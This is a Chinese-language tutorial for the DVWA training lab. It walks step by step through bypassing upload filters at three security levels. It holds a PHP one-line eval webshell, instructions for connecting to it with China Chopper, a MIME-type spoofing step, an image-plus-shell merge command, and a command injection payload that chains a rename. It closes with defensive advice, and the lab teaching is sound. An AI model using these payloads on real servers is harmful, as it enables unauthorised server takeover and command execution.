文件上传漏洞实战:Low/Medium/High三级绕过(一句话木马拿webshell全流程)
刚做文件上传实验时,我踩了无数坑:上传PHP木马直接被拦,改后缀名没用,抓包改MIME类型又搞不懂格式......后来才发现,文件上传漏洞的核心就是"骗服务器信任恶意文件"------不同安全级别有不同的防御套路,找对方法就能绕过限制,上传木马拿到服务器控制权。今天就从Low级别直接传马,到High级别图文合并+命令重命名,每一步都带实操步骤和原理,跟着做就能成功拿webshell!

一、先搞懂:文件上传漏洞到底是啥?(大白话版)
文件上传漏洞,简单说就是:服务器允许用户上传文件,但没做严格检查(或检查有漏洞),导致攻击者能上传恶意脚本(比如PHP一句话木马),然后通过脚本执行获取服务器权限。
生活化比喻:服务器的上传功能像"快递收件处",正常只收"包裹(图片、文档)",但如果收件员不仔细检查,攻击者就可以把"炸弹(恶意脚本)"伪装成包裹寄进去,炸弹拆封后(脚本执行)就会控制整个仓库(服务器)。
实验核心目标
- 上传"PHP一句话木马"到DVWA靶机;
- 绕过不同级别的防御机制(前端JS验证、MIME类型检查、文件后缀+文件头检查);
- 用"中国菜刀"连接木马,拿到webshell(管理服务器文件、执行命令)。
实验环境准备(照着搭就行)
- 靶机:Windows 10 + DVWA + PHPStudy(Apache+MySQL启动,确保DVWA可访问);
- 工具:中国菜刀(连接webshell)、BurpSuite(抓包改包)、任意图片文件(≤100K,用于High级别绕过);
- 恶意文件:PHP一句话木马(代码:
<?php @eval($_POST[kfc]);?>,"kfc"是连接密码,可自定义)。
二、核心概念速通(新手不用记死,理解就行)
| 术语/工具 | 通俗作用 | 实验中用途 |
|---|---|---|
| 一句话木马 | 短小的恶意PHP脚本,能执行接收的命令 | 上传到服务器后,用菜刀连接,控制服务器 |
| MIME类型 | 文件的"身份证",标识文件类型(如图片是image/jpeg) | Medium级别服务器靠这个判断是否为图片,可篡改绕过 |
| 文件头检查 | 服务器读取文件开头内容,判断是否为合法图片(如JPG文件头是FFD8) | High级别靠这个防伪装,需用真实图片合并木马绕过 |
| 中国菜刀 | 连接一句话木马的工具 | 可视化管理服务器文件、执行CMD命令 |
| BurpSuite | 抓包、改包工具 | Medium级别篡改MIME类型 |
三、分级别实战:从"直接上传"到"图文合并"
级别1:Low级------零防御,直接上传木马!
1. 防御机制:无任何限制
服务器既不检查文件后缀,也不验证文件类型,只要文件大小≤100K,就能直接上传。

2. 实战步骤(3步搞定)
-
新建PHP文件(命名为webshell.php),写入一句话木马:
php<?php @eval($_POST[kfc]);?>("kfc"是连接密码,记好,后面要用);
-
登录DVWA,安全级别设为"Low",左侧选"File Upload"模块,点击"Browse"选择webshell.php,点击"Upload";
-
上传成功!页面会返回文件路径(如
http://192.168.32.131/dvwa/hackable/uploads/webshell.php)。


3. 连接webshell(中国菜刀)
- 打开中国菜刀,右键"添加";
- 地址栏输入上面的文件路径,密码填"kfc",类型选"PHP (Eval)",点击"添加";
- 双击连接,就能看到服务器的文件目录,右键"虚拟终端"还能执行CMD命令(比如ipconfig查靶机IP)------成功拿到控制权!



原理:为什么能成?
Low级别完全没做安全检查,服务器把上传的PHP文件当成普通文件接收,而PHP文件在服务器上能直接执行,所以木马生效。
级别2:Medium级------绕MIME类型检查(抓包改"身份证")
1. 防御机制:检查MIME类型+文件大小
服务器通过MIME类型判断文件是否为图片(只允许image/jpeg、image/png),文件大小≤100K。直接上传PHP文件会被拦,因为PHP的MIME类型是application/x-php,不在允许列表里。

2. 绕过思路:篡改MIME类型(用BurpSuite抓包改)
3. 实战步骤
-
准备好webshell.php(和Low级别一样),确保文件大小≤100K;
-
配置BurpSuite代理(浏览器设为127.0.0.1:8080),打开"Intercept"(拦截开关);
-
回到DVWA上传页面,选择webshell.php点击"Upload",BurpSuite会拦截请求;
-
找到请求中的
Content-Type: application/x-php(这是PHP文件的MIME类型),改成image/jpeg(或image/png);原内容:Content-Type: application/x-php 修改后:Content-Type: image/jpeg -
点击"Forward"放行请求,页面显示"uploaded successfully"------上传成功!
-
用中国菜刀连接(路径和密码和之前一样),成功拿到webshell。




原理:为什么能绕?
MIME类型是文件的"身份证",服务器只看这个"身份证"判断文件类型,不检查文件内容。我们把PHP文件的"身份证"改成图片的,服务器就误以为是图片,允许上传,而文件本质还是PHP脚本,能正常执行。
级别3:High级------绕后缀+文件头检查(图文合并+命令重命名)
1. 防御机制:双重检查(后缀+文件头)
- 后缀检查:只允许jpg、jpeg、png后缀,截取文件名最后一个"."后的字符判断;
- 文件头检查:用
getimagesize()函数读取文件头,必须是合法图片(有图片尺寸信息),否则拒绝上传。
直接上传PHP或改MIME都没用,得让恶意文件"看起来像图片,实际藏木马"。

2. 绕过思路:图文合并(图片+木马)+ 命令重命名(改后缀为PHP)、
3. 实战步骤
步骤1:合并图片和一句话木马
-
找一张≤100K的图片(如zhsy.jpg),和webshell.php放在同一文件夹(比如E盘根目录);
-
打开CMD,进入该文件夹,执行合并命令(/b是二进制合并,/a是文本合并):
cmdcopy zhsy.jpg/b + webshell.php/a zhsywebshell.jpg -
执行后会生成新文件zhsywebshell.jpg(表面是图片,里面藏着PHP木马)。

步骤2:上传合并后的图片文件
- 回到DVWA(High级别),上传zhsywebshell.jpg,页面显示上传成功(因为文件头是图片,后缀是jpg,服务器信任);
- 但此时文件后缀是jpg,服务器不会执行PHP代码,需要把它改成php后缀。


步骤3:利用命令注入漏洞重命名文件
-
左侧选"Command Injection"模块(High级别),输入命令(目的是把图片文件重命名为PHP):
127.0.0.1 && rename "C:\phpStudy\WWW\DVWA\hackable\uploads\zhsywebshell.jpg" zhsywebshell.php(路径要和靶机的上传目录一致,可从上传成功的提示中获取);
-
点击"Submit",命令执行成功,文件被重命名为zhsywebshell.php。

步骤4:连接webshell
- 中国菜刀添加连接,地址填:
http://192.168.32.131/dvwa/hackable/uploads/zhsywebshell.php,密码还是"kfc"; - 双击连接,成功管理服务器文件、执行命令------High级别绕过成功!
原理:为什么能绕?
- 图文合并:文件头是合法图片的,骗过
getimagesize()检查; - 命令重命名:利用其他漏洞(命令注入)把图片后缀改成PHP,服务器就会执行里面的木马代码。
四、纠错指南
- 文件大小超限制:DVWA限制≤100K,合并图片时选小图,一句话木马本身很小,不会超;
- BurpSuite代理没配置好:改MIME时抓不到包,检查浏览器代理是否设为127.0.0.1:8080,BurpSuite的Intercept是否开启;
- 合并文件命令错 :必须用
/b和/a参数,顺序不能反(图片在前,木马在后),否则文件头不是图片,上传失败; - 重命名路径错 :路径要和靶机的上传目录一致,可从"上传成功"的提示中复制(如
../../hackable/uploads/xxx.jpg,转换成绝对路径)。
五、核心原理总结+防御思路
1. 漏洞本质
服务器对用户上传的文件"检查不彻底"------只看表面(后缀、MIME、文件头),不看内容,导致恶意文件被伪装后上传成功。
2. 不同级别防御与绕过对比
| 级别 | 防御机制 | 绕过方法 |
|---|---|---|
| Low | 无防御 | 直接上传PHP一句话木马 |
| Medium | 检查MIME类型+文件大小 | BurpSuite抓包改MIME为image/jpeg |
| High | 检查后缀+文件头+文件大小 | 图文合并(图片+木马)+ 命令重命名为PHP |
3. 防御
- 后缀白名单:只允许必要的文件类型(如jpg、pdf),拒绝php、asp等可执行后缀;
- 内容检查:用专业工具扫描文件内容,不是只看文件头;
- 文件名随机化:上传后服务器自动改文件名(如生成随机字符串),避免攻击者知道路径;
- 上传目录限制权限:不让上传目录有执行脚本的权限(如Apache禁止php文件执行)。